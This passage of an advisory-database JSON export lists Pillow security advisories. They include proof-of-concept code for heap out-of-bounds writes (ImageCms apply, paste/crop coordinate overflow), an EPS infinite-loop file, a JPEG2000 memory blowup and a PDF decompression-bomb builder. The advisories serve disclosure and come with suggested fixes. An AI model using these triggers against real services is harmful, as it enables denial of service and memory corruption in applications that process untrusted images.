Pillow","versions":[{"first_patched_version":"13.0.0","vulnerable_version_range":"\u003c= 12.3.0"}],"purl":"pkg:pypi/pillow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS04ZzVnLTh2bXItOTc4Ms4AB-fv/related_packages","related_advisories":[{"uuid":"UBUNTU-CVE-2026-112403","source_kind":"osv","url":"https://ubuntu.com/security/notices/USN-9064-1"},{"uuid":"USN-9064-1","source_kind":"osv","url":"https://ubuntu.com/security/notices/USN-9064-1"},{"uuid":"DEBIAN-CVE-2026-112403","source_kind":"osv","url":"https://security-tracker.debian.org/tracker/CVE-2026-112403"},{"uuid":"CVE-2026-112403","source_kind":"osv","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/112xxx/CVE-2026-112403.json"}]},{"uuid":"GSA_kwCzR0hTQS05aHc5LWNoNzktNHZoNs4ABcRb","url":"https://github.com/advisories/GHSA-9hw9-ch79-4vh6","title":"Pillow: Controlled heap out-of-bounds write in Pillow `ImageCmsTransform.apply()` via output mode mismatch","description":"### Summary\n\nPillow's public `ImageCms.ImageCmsTransform.apply(im, imOut)` API can trigger\ncontrolled native heap corruption when the caller supplies an output image whose\nmode does not match the transform's declared output mode.\n\nFor example, a transform built as `RGBA -\u003e RGBA` can be applied to an `L` output\nimage. Pillow checks dimensions only, then calls LittleCMS with the output row\npointer. LittleCMS writes RGBA-sized rows into a 1-byte-per-pixel `L` image row.\n\n### Details\n\n`src/PIL/ImageCms.py:ImageCmsTransform.apply()` accepts an optional caller\nsupplied `imOut`:\n\n```python\ndef apply(self, im, imOut=None):\n    if imOut is None:\n        imOut = Image.new(self.output_mode, im.size, None)\n    self.transform.apply(im.getim(), imOut.getim())\n    imOut.info[\"icc_profile\"] = self.output_profile.tobytes()\n    return imOut\n```\n\nIf `imOut` is provided, Pillow does not check:\n\n```text\nim.mode == self.input_mode\nimOut.mode == self.output_mode\n```\n\nThe C wrapper in `src/_imagingcms.c` unwraps both image cores and only checks\nthat the output dimensions are at least as large as the input dimensions:\n\n```c\nstatic int\npyCMSdoTransform(Imaging im, Imaging imOut, cmsHTRANSFORM hTransform) {\n    if (im-\u003exsize \u003e imOut-\u003exsize || im-\u003eysize \u003e imOut-\u003eysize) {\n        return -1;\n    }\n\n    for (i = 0; i \u003c im-\u003eysize; i++) {\n        cmsDoTransform(hTransform, im-\u003eimage[i], imOut-\u003eimage[i], im-\u003exsize);\n    }\n\n    pyCMScopyAux(hTransform, imOut, im);\n    return 0;\n}\n```\n\n`findLCMStype()` maps `RGB`, `RGBA`, and `RGBX` transform modes to LittleCMS\n`TYPE_RGBA_8`, which writes 4 bytes per pixel:\n\n```c\ncase IMAGING_MODE_RGB:\ncase IMAGING_MODE_RGBA:\ncase IMAGING_MODE_RGBX:\n    return TYPE_RGBA_8;\n```\n\nSo with a transform declared as `RGBA -\u003e RGBA`, LittleCMS writes `4 * width`\nbytes to each output row. If the supplied output image is mode `L`, Pillow only\nallocated `1 * width` bytes for that row.\n\nFor width 4096:\n\n```text\ndestination row allocation: 4096 bytes\nLittleCMS write size:       16384 bytes\noverflow:                  ~12288 bytes past the row\n```\n\nThe bug does not require a large image. Width 8 was enough to corrupt heap\nmetadata. At width 8, `apply()` returned to Python and printed `after`; glibc\ndetected the corrupted heap later during cleanup.\n\n### PoC\n\nTiny heap corruption trigger:\n\n```python\nfrom PIL import Image, ImageCms\n\nsrgb = ImageCms.createProfile(\"sRGB\")\ntransform = ImageCms.buildTransform(srgb, srgb, \"RGBA\", \"RGBA\")\n\nim = Image.new(\"RGBA\", (8, 1), (0x41, 0x42, 0x43, 0x44))\nout = Image.new(\"L\", (8, 1), 0)\n\nprint(\"before\", flush=True)\ntransform.apply(im, out)\nprint(\"after\")\n```\n\nObserved locally on Pillow `12.3.0.dev0`:\n\n```text\nbefore\nafter\nfree(): invalid next size (normal)\nAborted (core dumped)\n```\n\nControlled overwrite evidence PoC:\n\n```python\nfrom PIL import Image, ImageCms\n\nsrgb = ImageCms.createProfile(\"sRGB\")\ntransform = ImageCms.buildTransform(srgb, srgb, \"RGBA\", \"RGBA\")\n\nim = Image.new(\"RGBA\", (4096, 1), (0x41, 0x42, 0x43, 0x44))\nout = Image.new(\"L\", (4096, 1), 0)\n\ntransform.apply(im, out)\n```\n\nRun under gdb:\n\n```bash\ngdb -q --batch -ex run -ex bt --args \\\n  python3 b022_controlled.py\n```\n\nObserved on Pillow `12.3.0.dev0`:\n\n```text\nProgram received signal SIGSEGV, Segmentation fault.\n___pthread_mutex_lock (mutex=mutex@entry=0x4443424144434241)\n#1 _cmsLockPrimitive (m=0x4443424144434241)\n#2 defMtxLock (id=0x4443424144434241, mtx=0x4443424144434241)\n#3 _cmsLockMutex (ContextID=0x4443424144434241, mtx=0x4443424144434241)\n#4 cmsSaveProfileToIOhandler(...)\n#5 cmsSaveProfileToMem(...)\n#6 cms_profile_tobytes (...) at src/_imagingcms.c:152\n```\n\n`0x4443424144434241` is the attacker-controlled source pixel pattern\n`b\"ABCDABCD\"` interpreted as a little-endian pointer-sized value.\n\nUsing source pixels `(1, 2, 3, 4)` similarly produced a faulting pointer of\n`0x403020104030201`, matching the repeated pixel bytes.\n\n### Impact\n\nThis is a heap out-of-bounds write in Pillow's native ImageCms extension,\nreachable through public API.\n\nApplications are impacted if untrusted users can control ImageCms transform\nparameters and/or provide the output image object passed to\n`ImageCmsTransform.apply()`. The source image pixels influence the bytes written\nout of bounds.\n\n## Suggested fix\n\nValidate modes before calling into the native transform:\n\n```python\ndef apply(self, im, imOut=None):\n    if im.mode != self.input_mode:\n        raise ValueError(\"input mode mismatch\")\n    if imOut is None:\n        imOut = Image.new(self.output_mode, im.size, None)\n    elif imOut.mode != self.output_mode:\n        raise ValueError(\"output mode mismatch\")\n    self.transform.apply(im.getim(), imOut.getim())\n    imOut.info[\"icc_profile\"] = self.output_profile.tobytes()\n    return imOut\n```\n\nThe C extension should also defensively reject mismatched image modes before\ncalling `cmsDoTransform()`.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-07-20T23:19:00.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","references":["https://github.com/python-pillow/Pillow/security/advisories/GHSA-9hw9-ch79-4vh6","https://nvd.nist.gov/vuln/detail/CVE-2026-59205","https://github.com/python-pillow/Pillow/pull/9715","https://github.com/python-pillow/Pillow/commit/a9ffc42bedf4fc0a7ef8d6486e7f9e81e3397721","https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2026-3453.yaml","https://github.com/python-pillow/Pillow/releases/tag/12.3.0","https://github.com/advisories/GHSA-9hw9-ch79-4vh6"],"source_kind":"github","identifiers":["GHSA-9hw9-ch79-4vh6","CVE-2026-59205"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-07-21T00:00:08.727Z","updated_at":"2026-12-03T11:03:35.948Z","epss_percentage":0.00385,"epss_percentile":0.34742,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS05aHc5LWNoNzktNHZoNs4ABcRb","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS05aHc5LWNoNzktNHZoNs4ABcRb","affected_repository_urls":["https://github.com/python-pillow/pillow"],"packages":[{"ecosystem":"pypi","package_name":"pillow","versions":[{"first_patched_version":"12.3.0","vulnerable_version_range":"\u003c 12.3.0"}],"purl":"pkg:pypi/pillow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS05aHc5LWNoNzktNHZoNs4ABcRb/related_packages","related_advisories":[{"uuid":"CVE-2026-59205","source_kind":"osv","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/59xxx/CVE-2026-59205.json"},{"uuid":"UBUNTU-CVE-2026-59205","source_kind":"osv","url":"https://ubuntu.com/security/notices/USN-8999-1"},{"uuid":"USN-8999-1","source_kind":"osv","url":"https://ubuntu.com/security/notices/USN-8999-1"},{"uuid":"DEBIAN-CVE-2026-59205","source_kind":"osv","url":"https://security-tracker.debian.org/tracker/CVE-2026-59205"}]},{"uuid":"GSA_kwCzR0hTQS12amM0LTVxcDUtbTQ0as4ABcRa","url":"https://github.com/advisories/GHSA-vjc4-5qp5-m44j","title":"Pillow JPEG2000 tiled decode retains a growing scratch buffer and can be used for denial of service","description":"### Summary\n`src/libImaging/Jpeg2KDecode.c:853` accumulates `total_component_width` across every tile in a JPEG2000 image instead of recomputing it per tile. That accumulated value is then used in the `tile_bytes` calculation at `src/libImaging/Jpeg2KDecode.c:868`, which can make the decoder grow `state-\u003ebuffer` via `realloc` at `src/libImaging/Jpeg2KDecode.c:876` up to roughly one full image's decompressed size even when each tile is small. A crafted tiled JPEG2000 file can therefore force substantially higher transient memory usage and trigger out-of-memory failures during decoding. Based on current evidence, the supported impact is denial of service, not memory corruption.\n\n### Details\n- Location: `src/libImaging/Jpeg2KDecode.c:853`\n- Root cause: `total_component_width` is initialized only once before the tile loop and keeps growing across tiles. It is then used to derive `tile_bytes`, so later tiles are treated as if they had the combined component width of all earlier tiles.\n- Dangerous operation: `tile_bytes` is promoted into `tile_info.data_size`, then `state-\u003ebuffer` is grown with `realloc` at `src/libImaging/Jpeg2KDecode.c:876`.\n- Reachability: any attacker-controlled JPEG2000 image with many tiles reaches this path during normal `Image.open(...).load()` decoding.\n\n\n### PoC\nThe attached helper script and testcase were used:\n[exercise_j2k_tile_realloc.zip](https://github.com/user-attachments/files/28099912/exercise_j2k_tile_realloc.zip)\n\n\nGenerate the testcase:\n\n```bash\npythonexercise_j2k_tile_realloc.py make poc_3664_rgba_tile1832.jp2 \\\n  --size 3664 --tile 1832\n```\n\nExpected geometry from the helper:\n\n- image size: `3664 x 3664`\n- mode: `RGBA`\n- tile size: `1832 x 1832` (`2x2` tiles)\n- `image_bytes=53699584`\n- uncapped RSS observed:\n  - vulnerable build: `maxrss_kb=180264`\n  - fixed comparison build: `maxrss_kb=138404`\n\nLoad it with the current vulnerable build:\n\n```bash\npython exercise_j2k_tile_realloc.py load poc_3664_rgba_tile1832.jp2\n```\n\nLoad it again under a 160 MB address-space cap:\n\n```bash\npython exercise_j2k_tile_realloc.py load poc_3664_rgba_tile1832.jp2 --limit-mb 160\n```\n\n### Impact\nConservative impact: denial of service through memory exhaustion during JPEG2000 decoding.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-07-20T23:18:32.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.7,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","references":["https://github.com/python-pillow/Pillow/security/advisories/GHSA-vjc4-5qp5-m44j","https://nvd.nist.gov/vuln/detail/CVE-2026-59204","https://github.com/python-pillow/Pillow/pull/9704","https://github.com/python-pillow/Pillow/commit/13ada41172142f2fd9f0906f615a00ea623a11ca","https://github.com/python-pillow/Pillow/releases/tag/12.3.0","https://github.com/advisories/GHSA-vjc4-5qp5-m44j"],"source_kind":"github","identifiers":["GHSA-vjc4-5qp5-m44j","CVE-2026-59204"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-07-21T00:00:08.727Z","updated_at":"2026-12-03T11:03:35.949Z","epss_percentage":0.00385,"epss_percentile":0.34744,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS12amM0LTVxcDUtbTQ0as4ABcRa","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS12amM0LTVxcDUtbTQ0as4ABcRa","affected_repository_urls":["https://github.com/python-pillow/pillow"],"packages":[{"ecosystem":"pypi","package_name":"pillow","versions":[{"first_patched_version":"12.3.0","vulnerable_version_range":"\u003e= 8.2.0, \u003c 12.3.0"}],"purl":"pkg:pypi/pillow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS12amM0LTVxcDUtbTQ0as4ABcRa/related_packages","related_advisories":[{"uuid":"UBUNTU-CVE-2026-59204","source_kind":"osv","url":"https://ubuntu.com/security/notices/USN-8999-1"},{"uuid":"USN-8999-1","source_kind":"osv","url":"https://ubuntu.com/security/notices/USN-8999-1"},{"uuid":"DEBIAN-CVE-2026-59204","source_kind":"osv","url":"https://security-tracker.debian.org/tracker/CVE-2026-59204"},{"uuid":"CVE-2026-59204","source_kind":"osv","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/59xxx/CVE-2026-59204.json"}]},{"uuid":"GSA_kwCzR0hTQS1wZzd2LWp3ajctcDc5OM4ABcRZ","url":"https://github.com/advisories/GHSA-pg7v-jwj7-p798","title":"Pillow EpsImagePlugin negative %%BeginBinary byte count causes infinite loop denial of service","description":"### Summary\n\nPillow's EPS parser (PIL/EpsImagePlugin.py) accepts a negative byte count in the %%BeginBinary directive. A crafted EPS file can cause Image.open() to seek backwards to the same directive and parse it repeatedly, resulting in an infinite loop and CPU denial of service.\n\nThe issue is triggered during Image.open(), does not require Image.load(), and does not require Ghostscript execution.\n\nConfirmed affected versions: Pillow 12.0.0 through 12.2.0.\n\n### Details\n\nThe issue is in the EPS parser in PIL/EpsImagePlugin.py. When parsing an EPS %%BeginBinary directive, Pillow reads the byte count from the file and passes it directly to a relative seek operation without validating that the value is non-negative.\n\nRelevant code:\n\n    elif bytes_mv[:14] == b\"%%BeginBinary:\":\n        bytecount = int(byte_arr[14:bytes_read])\n        self.fp.seek(bytecount, os.SEEK_CUR)\n\nThere is no validation that bytecount is non-negative.\n\nIf an attacker provides a negative value such as %%BeginBinary:-18, the parser moves the file pointer backwards from the end of the directive line to the same line region. The next parser iteration reads the same %%BeginBinary:-18 directive again, performs the same backward seek, and repeats indefinitely. This causes Image.open() to hang in an infinite loop and consume CPU.\n\nIn local testing, the issue is present in Pillow 12.0.0, 12.1.0, 12.1.1, and 12.2.0. Pillow 11.3.0 did not hang with the same PoC, so this appears to affect the 12.x EPS parsing path.\n\n### PoC\n\nSave the following content as pillow_eps_beginbinary_dos.eps:\n\n    %!PS-Adobe-3.0 EPSF-3.0\n    %%BoundingBox: 0 0 1 1\n    %%EndComments\n    % dummy comment after transition\n    %%BeginBinary:-18\n    %%EOF\n\nThen run:\n\n    python -m pip install \"Pillow==12.2.0\"\n\n    python - \u003c\u003c'PY'\n    from PIL import Image\n    Image.open(\"pillow_eps_beginbinary_dos.eps\")\n    PY\n\nExpected behavior: Pillow should reject the malformed EPS file with a parser exception.\n\nActual behavior: the process does not return. It hangs inside Image.open() and continuously consumes CPU.\n\nThe loop behavior can be observed by tracing the parser state. The file pointer repeatedly seeks from position 112 back to 94, causing the same %%BeginBinary:-18 line to be parsed again and again:\n\n    LINE b'%%BeginBinary:-18' pos_after_newline 112\n    BeginBinary bytecount -18 seek from 112 to 94\n    LINE b'%%BeginBinary:-18' pos_after_newline 112\n    BeginBinary bytecount -18 seek from 112 to 94\n    LINE b'%%BeginBinary:-18' pos_after_newline 112\n    BeginBinary bytecount -18 seek from 112 to 94\n\n### Impact\n\nThis is a denial-of-service vulnerability. An attacker who can provide an EPS file to an application using Pillow for image validation, metadata parsing, previews, uploads, or batch image processing can cause the image parsing process to hang during Image.open().\n\nThis can impact web services and backend workers that parse untrusted image files, especially if image parsing is performed in a main worker process without CPU limits, timeouts, or process isolation. The issue does not require Ghostscript execution and does not require calling Image.load(), so applications that only use Image.open() to validate or identify uploaded images may still be affected.\n\nSuggested fix: validate the parsed %%BeginBinary byte count before seeking. If the byte count is negative, reject the file with a parsing exception instead of calling self.fp.seek(bytecount, os.SEEK_CUR).","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-07-20T23:11:51.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.3,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","references":["https://github.com/python-pillow/Pillow/security/advisories/GHSA-pg7v-jwj7-p798","https://nvd.nist.gov/vuln/detail/CVE-2026-59203","https://github.com/python-pillow/Pillow/pull/9708","https://github.com/python-pillow/Pillow/commit/03992618118b4a76b6163cd72ab5ecd684133b83","https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2026-3452.yaml","https://github.com/python-pillow/Pillow/releases/tag/12.3.0","https://github.com/advisories/GHSA-pg7v-jwj7-p798"],"source_kind":"github","identifiers":["GHSA-pg7v-jwj7-p798","CVE-2026-59203"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-07-21T00:00:08.727Z","updated_at":"2026-12-03T11:03:35.949Z","epss_percentage":0.00494,"epss_percentile":0.44025,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1wZzd2LWp3ajctcDc5OM4ABcRZ","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1wZzd2LWp3ajctcDc5OM4ABcRZ","affected_repository_urls":["https://github.com/python-pillow/pillow"],"packages":[{"ecosystem":"pypi","package_name":"pillow","versions":[{"first_patched_version":"12.3.0","vulnerable_version_range":"\u003e= 12.0.0, \u003c 12.3.0"}],"purl":"pkg:pypi/pillow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1wZzd2LWp3ajctcDc5OM4ABcRZ/related_packages","related_advisories":[{"uuid":"USN-8999-1","source_kind":"osv","url":"https://ubuntu.com/security/notices/USN-8999-1"},{"uuid":"CVE-2026-59203","source_kind":"osv","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/59xxx/CVE-2026-59203.json"}]},{"uuid":"GSA_kwCzR0hTQS1qamo2LW13OWYtcDU2Nc4ABcRY","url":"https://github.com/advisories/GHSA-jjj6-mw9f-p565","title":"Pillow: Decompression Bomb DoS via PdfParser.PdfStream.decode()","description":"### Summary\n`PdfParser.PdfStream.decode()` in Pillow's `PdfParser.py` calls `zlib.decompress()` with the `bufsize` parameter set to the value of the PDF stream's `Length` field, without any upper bound on the actual decompressed output size. Python's `zlib.decompress()` `bufsize` argument is an *initial output buffer hint*, not a maximum size limit — the function will expand memory until the full decompressed result is produced. A crafted PDF containing a FlateDecode-compressed stream decompresses to 1 GB of memory from a ~950 KB file, causing server OOM termination or severe degradation in any application that uses `PdfParser` to read untrusted PDF files.\n\n### Details\n`PdfStream.decode()` in `pdfminer/PdfParser.py` reads the stream's declared `Length` (or `DL`) field from the PDF dictionary and passes it as `bufsize` to `zlib.decompress()`:\n\n```python\n# PIL/PdfParser.py — PdfStream.decode()\nclass PdfStream:\n    def decode(self) -\u003e bytes:\n        try:\n            filter = self.dictionary[b\"Filter\"]\n        except KeyError:\n            return self.buf\n        if filter == b\"FlateDecode\":\n            try:\n                expected_length = self.dictionary[b\"DL\"]\n            except KeyError:\n                expected_length = self.dictionary[b\"Length\"]\n            return zlib.decompress(self.buf, bufsize=int(expected_length))\n            #                               ^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n            #  bufsize is an *initial buffer hint*, NOT a maximum size limit.\n            #  zlib.decompress() allocates as much memory as needed regardless.\n```\n\nFrom the Python documentation: *\"The `bufsize` parameter is used as the initial size of the output buffer.\"* It does not cap decompression. An attacker who controls the PDF stream contents can provide a highly-compressed payload that expands to gigabytes, while setting `Length` to any value (including the actual compressed size) to avoid triggering format validation.\n\n`PdfParser` is instantiated with a filename or file object and calls `read_pdf_info()` on open, which parses the xref table and makes stream objects accessible. `PdfStream.decode()` is reachable whenever calling code accesses a compressed stream object from the parsed PDF.\n\n**Confirmed reachable path:**\n```python\nwith PdfParser.PdfParser(\"evil.pdf\") as pdf:\n    stream_obj, _ = pdf.get_value(pdf.buf, stream_offset)\n    data = stream_obj.decode()   # ← OOM here\n```\n\n\n### PoC\n\n```python\nimport zlib, tempfile, os, time\nfrom PIL import PdfParser\n\n# Build a minimal PDF with a 100 MB FlateDecode bomb (demo scale)\nEXPAND_MB = 100\nraw = b'\\x00' * (EXPAND_MB * 1_000_000)\ncompressed = zlib.compress(raw, level=9)   # ~97 KB\n\nbuf = b'%PDF-1.4\\n'\no1 = len(buf); buf += b'1 0 obj\\n\u003c\u003c /Type /Pages /Kids [] /Count 0 \u003e\u003e\\nendobj\\n'\no2 = len(buf); buf += b'2 0 obj\\n\u003c\u003c /Type /Catalog /Pages 1 0 R \u003e\u003e\\nendobj\\n'\no3 = len(buf)\nhdr = f'\u003c\u003c /Filter /FlateDecode /Length {len(compressed)} \u003e\u003e'.encode()\nbuf += b'3 0 obj\\n' + hdr + b'\\nstream\\n' + compressed + b'\\nendstream\\nendobj\\n'\nxref = len(buf)\nbuf += b'xref\\n0 4\\n0000000000 65535 f \\n'\nfor off in [o1, o2, o3]:\n    buf += f'{off:010d} 00000 n \\n'.encode()\nbuf += b'trailer\\n\u003c\u003c /Size 4 /Root 2 0 R \u003e\u003e\\nstartxref\\n' + str(xref).encode() + b'\\n%%EOF\\n'\n\nprint(f\"PDF size: {len(buf):,} bytes ({len(buf)/1024:.1f} KB)\")\n\nwith tempfile.NamedTemporaryFile(delete=False, suffix='.pdf') as f:\n    f.write(buf); tmpname = f.name\n\nwith PdfParser.PdfParser(tmpname) as pdf:\n    obj, _ = pdf.get_value(pdf.buf, o3)\n    t = time.time()\n    decoded = obj.decode()\n    print(f\"Decoded: {len(decoded):,} bytes in {time.time()-t:.3f}s\")\n\nos.unlink(tmpname)\n```\n\n**Actual output (Pillow 12.1.1, Python 3.12):**\n```\nPDF size: 97,538 bytes (95.3 KB)\nDecoded: 100,000,000 bytes in 0.265s\n```\n\n**Measured expansion:**\n\n| PDF file size | Memory allocated | Ratio | Wall time |\n|---|---|---|---|\n| 10 KB | 10 MB | 1,026× | 0.024 s |\n| 95 KB | 100 MB | 1,028× | 0.265 s |\n| 475 KB | 500 MB | 1,028× | 1.279 s |\n| 950 KB | 1,000 MB (1 GB) | 1,028× | 2.668 s |\n\n### Impact\nThis is a denial-of-service vulnerability. Any application that uses `PIL.PdfParser.PdfParser` to read untrusted PDF files is affected. An unauthenticated attacker who can submit a PDF for processing can exhaust all available server memory with a ~950 KB file, causing OOM termination or service degradation affecting all concurrent users. No authentication or user interaction beyond submitting the file is required.\n\n**Note:** This vulnerability is independent of CVE-2025-64512 / CVE-2025-70559 (pdfminer.six) and the companion `PIL/PdfImagePlugin.py` decompression issue. It exists specifically in Pillow's own `PdfParser.py` module, which is distinct from pdfminer.six.\n\n**Suggested fix:**\n\n```python\nMAX_DECOMPRESS_BYTES = 200 * 1024 * 1024  # 200 MB cap\n\ndef decode(self) -\u003e bytes:\n    ...\n    if filter == b\"FlateDecode\":\n        ...\n        result = zlib.decompress(self.buf, bufsize=int(expected_length))\n        if len(result) \u003e MAX_DECOMPRESS_BYTES:\n            msg = \"Decompressed stream exceeds maximum allowed size\"\n            raise ValueError(msg)\n        return result\n```","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-07-20T23:11:29.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","references":["https://github.com/python-pillow/Pillow/security/advisories/GHSA-jjj6-mw9f-p565","https://nvd.nist.gov/vuln/detail/CVE-2026-59200","https://github.com/python-pillow/Pillow/pull/9718","https://github.com/python-pillow/Pillow/commit/f7a31ea75e460e108c37126da1f47812f21f6b09","https://github.com/python-pillow/Pillow/releases/tag/12.3.0","https://github.com/advisories/GHSA-jjj6-mw9f-p565"],"source_kind":"github","identifiers":["GHSA-jjj6-mw9f-p565","CVE-2026-59200"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-07-21T00:00:08.727Z","updated_at":"2026-12-03T11:03:35.950Z","epss_percentage":0.00385,"epss_percentile":0.34742,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1qamo2LW13OWYtcDU2Nc4ABcRY","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1qamo2LW13OWYtcDU2Nc4ABcRY","affected_repository_urls":["https://github.com/python-pillow/pillow"],"packages":[{"ecosystem":"pypi","package_name":"Pillow","versions":[{"first_patched_version":"12.3.0","vulnerable_version_range":"\u003e= 5.1.0, \u003c 12.3.0"}],"purl":"pkg:pypi/pillow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1qamo2LW13OWYtcDU2Nc4ABcRY/related_packages","related_advisories":[{"uuid":"UBUNTU-CVE-2026-59200","source_kind":"osv","url":"https://ubuntu.com/security/notices/USN-8999-1"},{"uuid":"USN-8999-1","source_kind":"osv","url":"https://ubuntu.com/security/notices/USN-8999-1"},{"uuid":"DEBIAN-CVE-2026-59200","source_kind":"osv","url":"https://security-tracker.debian.org/tracker/CVE-2026-59200"},{"uuid":"CVE-2026-59200","source_kind":"osv","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/59xxx/CVE-2026-59200.json"}]},{"uuid":"GSA_kwCzR0hTQS02cjh4LTU3YzktMjhqNM4ABcRX","url":"https://github.com/advisories/GHSA-6r8x-57c9-28j4","title":"Pillow: Heap out-of-bounds write `Image.paste()` / `Image.crop()` via signed coordinate overflow","description":"### Summary\n\nPillow's public image coordinate APIs can trigger a native heap out-of-bounds\nwrite when given coordinates near the signed 32-bit integer limits. In 4-byte\npixel modes such as `RGBA`, this becomes a controlled backward heap underwrite:\nfor a source image of width `W`, Pillow writes `4 * W` attacker-controlled bytes\nstarting `4 * W` bytes before the destination row pointer. With successful large\nimage allocation, the theoretical upper bound is ~2 GiB backwards from\nthe destination row.\n\nMinimal public API trigger:\n\n```python\nfrom PIL import Image\n\nINT_MIN = -(1 \u003c\u003c 31)\n\nsrc = Image.new(\"RGBA\", (2, 1), (0x41, 0x42, 0x43, 0x44))\ndst = Image.new(\"RGBA\", (8, 1))\ndst.paste(src, ((1 \u003c\u003c 31) - 2, 0, INT_MIN, 1))\n```\n\nThe same root cause is also reachable through `Image.crop()` and\n`Image.alpha_composite()`. No private API, ctypes, custom Python object, or\nmalformed image file is needed.\n\nThis has been confirmed as an ASAN heap-buffer-overflow write. On normal\nnon-ASAN Pillow builds, the minimal trigger corrupts the heap and aborts with\n`double free or corruption (out)`\n\n### Details\n\n`src/PIL/Image.py:paste()` accepts a 4-tuple box and passes it to the native\n`ImagingCore.paste()` method:\n\n```python\nself.im.paste(source, box)\n```\n\n`src/_imaging.c:_paste()` parses the four Python coordinates into signed `int`\nvalues and calls `ImagingPaste()`:\n\n```c\nint x0, y0, x1, y1;\nPyArg_ParseTuple(args, \"O(iiii)|O!\", \u0026source, \u0026x0, \u0026y0, \u0026x1, \u0026y1, ...);\nstatus = ImagingPaste(self-\u003eimage, PyImaging_AsImaging(source), ..., x0, y0, x1, y1);\n```\n\n`src/libImaging/Paste.c:ImagingPaste()` computes and clips the region using\nsigned `int` arithmetic:\n\n```c\nxsize = dx1 - dx0;\nysize = dy1 - dy0;\n\nif (dx0 + xsize \u003e imOut-\u003exsize) {\n    xsize = imOut-\u003exsize - dx0;\n}\n```\n\nWith `dx0 = 2147483646` and `dx1 = -2147483648`, `dx1 - dx0` wraps to `2`.\nThat matches the 2-pixel source image, so the size check passes. The later\n`dx0 + xsize` clip check wraps around and does not reject the out-of-bounds\ndestination.\n\nFor 4-byte pixel modes such as `RGBA`, the paste loop then multiplies `dx` by\n`pixelsize`:\n\n```c\ndx *= pixelsize;\nxsize *= pixelsize;\nmemcpy(imOut-\u003eimage[y + dy] + dx, imIn-\u003eimage[y + sy] + sx, xsize);\n```\n\nFor the minimal PoC, this writes 8 attacker-controlled bytes 8 bytes before the\ndestination row allocation.\n\nThe primitive scales with the attacker-controlled source width:\n\n```text\nsource width = W\nbox = ((1 \u003c\u003c 31) - W, 0, INT_MIN, 1)\n\nC destination offset = -4 * W\nC memcpy size        =  4 * W\nwrite range          = [row_start - 4W, row_start)\n```\n\nExamples for `RGBA`:\n\n```text\nW = 2         -\u003e writes 8 bytes before the row\nW = 1024      -\u003e writes 4096 bytes before the row\nW = 65536     -\u003e writes 256 KiB before the row\nW = 1000000   -\u003e writes about 4 MiB before the row\n```\n\nPillow's image creation guard currently limits `xsize` to roughly\n`INT_MAX / 4 - 1`, so the theoretical upper bound for this `RGBA` underwrite is\n`2,147,483,640` bytes before the destination row pointer. In practice, the\nusable range depends on memory availability, allocator layout, and process heap\nstate.\n\nTwo other documented APIs reach the same sink:\n\n```python\n# Image.crop() path\nleft = INT_MIN + 2\nImage.new(\"RGBA\", (2, 1)).crop((left, 0, left + 2, 1))\n\n# Image.alpha_composite() path, via its internal crop()\nbase = Image.new(\"RGBA\", (2, 1))\nover = Image.new(\"RGBA\", (2, 1), (0x41, 0x42, 0x43, 0x44))\nbase.alpha_composite(over, dest=(left, 0))\n```\n\n`Image.crop()` keeps `right - left` small, so the Python decompression-bomb\ncheck allows it. `src/libImaging/Crop.c` then computes wrapped paste\ncoordinates and calls `ImagingPaste()`.\n\n### PoC\n\nThe following standalone script exercises all three public API paths. Save it\nas `b021_poc.py` and run it with `paste`, `crop`, or `alpha`.\n\n```python\n#!/usr/bin/env python3\nimport argparse\nimport sys\n\nfrom PIL import Image\n\n\nINT_MIN = -(1 \u003c\u003c 31)\n\n\ndef rgba_pattern(width):\n    out = bytearray()\n    for i in range(width):\n        out += bytes((0x41 + (i % 26), 0x42, 0x43, 0x44))\n    return bytes(out)\n\n\ndef main():\n    parser = argparse.ArgumentParser()\n    parser.add_argument(\n        \"variant\",\n        choices=(\"paste\", \"crop\", \"alpha\"),\n        nargs=\"?\",\n        default=\"paste\",\n    )\n    parser.add_argument(\"-w\", \"--width\", type=int, 